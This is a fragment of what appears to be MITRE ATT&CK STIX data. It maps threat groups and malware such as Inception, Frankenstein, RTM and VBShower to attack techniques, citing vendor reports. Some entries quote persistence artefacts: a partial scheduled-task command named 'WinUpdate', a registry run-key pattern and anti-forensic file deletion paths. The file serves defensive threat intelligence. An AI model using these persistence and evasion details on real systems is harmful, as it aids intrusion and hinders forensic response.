            "description": "[Inception](https://attack.mitre.org/groups/G0100) has encrypted malware payloads dropped on victim machines with AES and RC4 encryption.(Citation: Kaspersky Cloud Atlas December 2014)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has used decoy documents to load malicious remote payloads via HTTP.(Citation: Unit 42 Inception November 2018)",
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                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
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            ],
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                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
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                {
                    "source_name": "Kaspersky Cloud Atlas December 2014",
                    "url": "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/",
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                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has used PowerShell to execute malicious commands and payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas December 2014)",
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                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) is a backdoor written in PowerShell.(Citation: Unit 42 Inception November 2018)",
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                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has the ability to save and execute VBScript.(Citation: Unit 42 Inception November 2018)",
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                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has sent HTTP GET and POST requests to C2 servers to send information and receive instructions.(Citation: Unit 42 Inception November 2018)",
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            "id": "relationship--a3bdd37c-f82c-4df3-94f8-63495466565c",
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
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                    "source_name": "Unit 42 Inception November 2018",
                    "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/",
                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has collected system information on the infected host.(Citation: Unit 42 Inception November 2018)",
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            "id": "relationship--175199ba-b8b8-467b-9010-a2f549abd957",
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                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has added a registry key so future powershell.exe instances are spawned off-screen by default, and has removed all registry entries that are left behind during the dropper process.(Citation: Unit 42 Inception November 2018)",
            "relationship_type": "uses",
            "id": "relationship--a679be02-156a-4e02-bfa5-ce07b60d147b",
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                    "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."
                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) sets up persistence with a Registry run key.(Citation: Unit 42 Inception November 2018)",
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            "id": "relationship--79bae99a-8480-4857-834b-fa823adca4c6",
            "type": "relationship",
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            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) used a file hunting plugin to collect .txt, .pdf, .xls or .doc files from the infected host.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--86079dc0-0c46-4068-a2f1-9422d81a03be",
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        },
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            "description": "(Citation: Unit 42 Inception November 2018)",
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            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
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                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has the ability to identify the current Windows domain of the infected host.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--aaf0545f-bb47-4796-b23e-4780f354add9",
            "type": "relationship",
            "modified": "2020-05-12T20:35:30.002Z",
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        },
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            ],
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has the ability to identify the current user on the infected host.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--c737cde1-271e-4f00-9692-3784e075c24d",
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            "modified": "2020-05-08T20:17:55.397Z",
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        },
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[VBShower](https://attack.mitre.org/software/S0442) has the ability to download VBS files to the target computer.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--fe3b8cb8-8ff1-4abf-ac98-ce31108e5bb5",
            "type": "relationship",
            "modified": "2020-05-12T12:46:57.152Z",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
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                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[VBShower](https://attack.mitre.org/software/S0442) has attempted to obtain a VBS script from command and control (C2) nodes over HTTP.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--c1cf1113-db4a-406a-8178-32fa4311d5dc",
            "type": "relationship",
            "modified": "2020-05-08T20:55:28.740Z",
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            ],
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                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[VBShower](https://attack.mitre.org/software/S0442) used <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\\[a-f0-9A-F]{8}</code> to maintain persistence.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--9cf55e84-53d2-4ec9-aaed-1df38ea08af1",
            "type": "relationship",
            "modified": "2020-05-12T20:56:07.282Z",
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            "source_ref": "malware--8caa18af-4758-4fd3-9600-e8af579e89ed",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
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                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[VBShower](https://attack.mitre.org/software/S0442) has attempted to complicate forensic analysis by deleting all the files contained in <code>%APPDATA%\\..\\Local\\Temporary Internet Files\\Content.Word</code> and <code>%APPDATA%\\..\\Local Settings\\Temporary Internet Files\\Content.Word\\</code>.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--83384e31-d9c6-46a0-956f-ee28d7d0cb89",
            "type": "relationship",
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            "target_ref": "malware--8caa18af-4758-4fd3-9600-e8af579e89ed",
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            "id": "relationship--9b049c1e-0074-460e-86d3-338a33727172",
            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "(Citation: Kaspersky Cloud Atlas August 2019)",
            "type": "relationship",
            "modified": "2020-05-08T20:58:45.034Z",
            "created": "2020-05-08T20:57:03.988Z"
        },
        {
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            ],
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                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has used spearphishing emails to send trojanized Microsoft Word documents.(Citation: Talos Frankenstein June 2019)  ",
            "relationship_type": "uses",
            "id": "relationship--996847c0-9e6f-44e5-bed7-ee78af9cf17d",
            "type": "relationship",
            "modified": "2020-05-28T00:01:09.507Z",
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        },
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            ],
            "source_ref": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
            "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3",
            "external_references": [
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "(Citation: Talos Frankenstein June 2019) ",
            "relationship_type": "uses",
            "id": "relationship--42c0ba63-03d8-414d-8f42-2aa4c585ea03",
            "type": "relationship",
            "modified": "2020-05-11T15:21:09.608Z",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
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                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "ESET Buhtrap and Buran April 2019",
                    "url": "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/",
                    "description": "ESET Research. (2019, April 30). Buhtrap backdoor and Buran ransomware distributed via major advertising platform. Retrieved May 11, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/groups/G0048) has distributed its malware via the RIG and SUNDOWN exploit kits, as well as online advertising network <code>Yandex.Direct</code>.(Citation: ESET RTM Feb 2017)(Citation: ESET Buhtrap and Buran April 2019)",
            "relationship_type": "uses",
            "id": "relationship--03e67769-31da-4a46-a5a6-1ccbdd0cf29f",
            "type": "relationship",
            "modified": "2020-05-12T22:13:17.037Z",
            "created": "2020-05-11T16:57:30.447Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "source_name": "Group IB RTM August 2019",
                    "url": "https://www.group-ib.com/blog/rtm",
                    "description": "Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/groups/G0048) has used spearphishing attachments to distribute its malware.(Citation: Group IB RTM August 2019)",
            "relationship_type": "uses",
            "id": "relationship--5f1493e8-65d8-474a-b6b7-c1311fc24d98",
            "type": "relationship",
            "modified": "2020-05-12T22:13:50.363Z",
            "created": "2020-05-11T17:27:36.637Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Group IB RTM August 2019",
                    "url": "https://www.group-ib.com/blog/rtm",
                    "description": "Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/groups/G0048) has used Registry run keys to establish persistence for the [RTM](https://attack.mitre.org/software/S0148) Trojan and other tools, such as a modified version of TeamViewer remote desktop software.(Citation: ESET RTM Feb 2017)(Citation: Group IB RTM August 2019)",
            "relationship_type": "uses",
            "id": "relationship--09381138-b93b-4b0d-b82d-c21d452ff514",
            "type": "relationship",
            "modified": "2020-05-12T22:13:50.406Z",
            "created": "2020-05-11T17:51:01.565Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "FireEye HIKIT Rootkit Part 2",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."
                }
            ],
            "description": "[Hikit](https://attack.mitre.org/software/S0009) has the ability to create a remote shell and run given commands.(Citation: FireEye HIKIT Rootkit Part 2)",
            "relationship_type": "uses",
            "id": "relationship--667c86bd-54f8-4602-a94a-054195de2808",
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                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
                    "source_name": "FireEye Hikit Rootkit"
                },
                {
                    "source_name": "FireEye HIKIT Rootkit Part 2",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."
                }
            ],
            "description": "[Hikit](https://attack.mitre.org/software/S0009) is a [Rootkit](https://attack.mitre.org/techniques/T1014) that has been used by [Axiom](https://attack.mitre.org/groups/G0001).(Citation: FireEye Hikit Rootkit) (Citation: FireEye HIKIT Rootkit Part 2) ",
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            "id": "relationship--aacb43b8-2d3a-40bc-9f7b-1acb5b2474f2",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
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                    "source_name": "FireEye HIKIT Rootkit Part 2",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."
                }
            ],
            "description": "[Hikit](https://attack.mitre.org/software/S0009) has used HTTP for C2.(Citation: FireEye HIKIT Rootkit Part 2)",
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                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
                    "source_name": "FireEye Hikit Rootkit"
                }
            ],
            "description": "[Hikit](https://attack.mitre.org/software/S0009) has used [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001) to load <code>oci.dll</code> as a persistence mechanism.(Citation: FireEye Hikit Rootkit)",
            "relationship_type": "uses",
            "id": "relationship--1ad315e2-1693-427a-9a04-a613bd0e2f22",
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                {
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                    "url": "https://www.group-ib.com/blog/rtm",
                    "description": "Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/groups/G0048) has used a modified version of TeamViewer and Remote Utilities for remote access.(Citation: Group IB RTM August 2019)",
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                {
                    "source_name": "Group IB RTM August 2019",
                    "url": "https://www.group-ib.com/blog/rtm",
                    "description": "Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/groups/G0048) has used search order hijacking to force TeamViewer to load a malicious DLL.(Citation: Group IB RTM August 2019)",
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                {
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                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) used Port 44443 for its VNC module.(Citation: ESET RTM Feb 2017)",
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            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
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                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) has the capability to download a VNC module from command and control (C2).(Citation: ESET RTM Feb 2017)",
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                {
                    "source_name": "Group IB RTM August 2019",
                    "url": "https://www.group-ib.com/blog/rtm",
                    "description": "Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/groups/G0048) has attempted to lure victims into opening e-mail attachments to execute malicious code.(Citation: Group IB RTM August 2019)",
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            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
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                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has used PowerShell to run a series of base64-encoded commands, that acted as a stager and enumerated hosts.(Citation: Talos Frankenstein June 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--4e8e5997-1af2-4d33-b9d0-e193acbd691f",
            "type": "relationship",
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        {
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            ],
            "source_ref": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has run a command script to set up persistence as a scheduled task named \"WinUpdate\", as well as other encoded commands from the command-line.(Citation: Talos Frankenstein June 2019)",
            "relationship_type": "uses",
            "id": "relationship--a0a54af7-b2b2-4914-a987-b8646f94db58",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has used trojanized Microsoft Word documents sent via email, which prompted the victim to enable macros.(Citation: Talos Frankenstein June 2019)",
            "relationship_type": "uses",
            "id": "relationship--25892875-54af-463b-abd4-33ea4141982e",
            "type": "relationship",
            "modified": "2020-05-28T00:01:09.627Z",
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        },
        {
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            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
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                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has used CVE-2017-11882 to execute code on the victim's machine.(Citation: Talos Frankenstein June 2019)",
            "relationship_type": "uses",
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            "source_ref": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has established persistence through a scheduled task using the command: <code> /Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR </code>, named \"WinUpdate\".(Citation: Talos Frankenstein June 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--eb9ccd35-7ddc-4340-acb7-788e109d0e59",
            "type": "relationship",
            "modified": "2020-05-28T00:01:09.554Z",
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        {
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            "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
            "external_references": [
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has used trojanized documents that retrieve remote templates from an adversary-controlled website.(Citation: Talos Frankenstein June 2019)",
            "relationship_type": "uses",
            "id": "relationship--658fac5c-df6e-4586-9850-5a7512e0d164",
            "type": "relationship",
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        },
        {
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            "source_ref": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
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                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has used Word documents that prompts the victim to enable macros and run a Visual Basic script.(Citation: Talos Frankenstein June 2019)",
            "relationship_type": "uses",
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            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has run encoded commands from the command line.(Citation: Talos Frankenstein June 2019)",
            "relationship_type": "uses",
            "id": "relationship--75f107f3-cc95-449c-883b-590089f23913",
            "type": "relationship",
            "modified": "2020-05-28T00:01:09.617Z",
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        {
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            ],
            "source_ref": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
            "target_ref": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96",
            "external_references": [
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has used MSbuild to execute an actor-created file.(Citation: Talos Frankenstein June 2019)",
            "relationship_type": "uses",
            "id": "relationship--cd469152-553f-4219-985c-b0689e27cc7e",
            "type": "relationship",
            "modified": "2020-05-28T00:01:09.607Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has used WMI queries to check if various security applications were running, as well as the operating system version.(Citation: Talos Frankenstein June 2019)",
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                }
            ],
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                }
            ],
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                }
            ],
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                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has enumerated hosts, looking for the public IP address of the system.(Citation: Talos Frankenstein June 2019)",
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                }
            ],
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                }
            ],
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                }
            ],
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                }
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                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has enumerated hosts, looking for the system's machine name.(Citation: Talos Frankenstein June 2019)",
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                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has communicated with a C2 via an encrypted RC4 byte stream and AES-CBC.(Citation: Talos Frankenstein June 2019)",
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                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has enumerated hosts, gathering username, machine name, and administrative permissions information.(Citation: Talos Frankenstein June 2019)",
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                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has enumerated hosts via [Empire](https://attack.mitre.org/software/S0363), gathering various local system information.(Citation: Talos Frankenstein June 2019)",
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                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has enumerated hosts via [Empire](https://attack.mitre.org/software/S0363), gathering the username, domain name, machine name, and other system information.(Citation: Talos Frankenstein June 2019)",
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                }
            ],
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) has deobfuscated base64-encoded commands following the execution of a malicious script, which revealed a small script designed to obtain an additional payload.(Citation: Talos Frankenstein June 2019)  ",
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                    "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."
                }
            ],
            "description": "[MESSAGETAP](https://attack.mitre.org/software/S0443) has XOR-encrypted and stored contents of SMS messages that matched its target list. (Citation: FireEye MESSAGETAP October 2019)",
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                    "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."
                }
            ],
            "description": "After loading the keyword and phone data files, [MESSAGETAP](https://attack.mitre.org/software/S0443) begins monitoring all network connections to and from the victim server. (Citation: FireEye MESSAGETAP October 2019)",
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                    "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."
                }
            ],
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                    "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."
                }
            ],
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                    "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."
                }
            ],
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                    "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."
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                }
            ],
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            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
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                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[VBShower](https://attack.mitre.org/software/S0442) has the ability to execute VBScript files.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
            "id": "relationship--338371ce-f2c3-4401-9e9a-c4c5667f87cb",
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                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."
                }
            ],
            "description": "[Inception](https://attack.mitre.org/groups/G0100) has used malicious HTA files to drop and execute malware.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
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                    "url": "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html",
                    "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020."
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
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                    "source_name": "Unit 42 Inception November 2018",
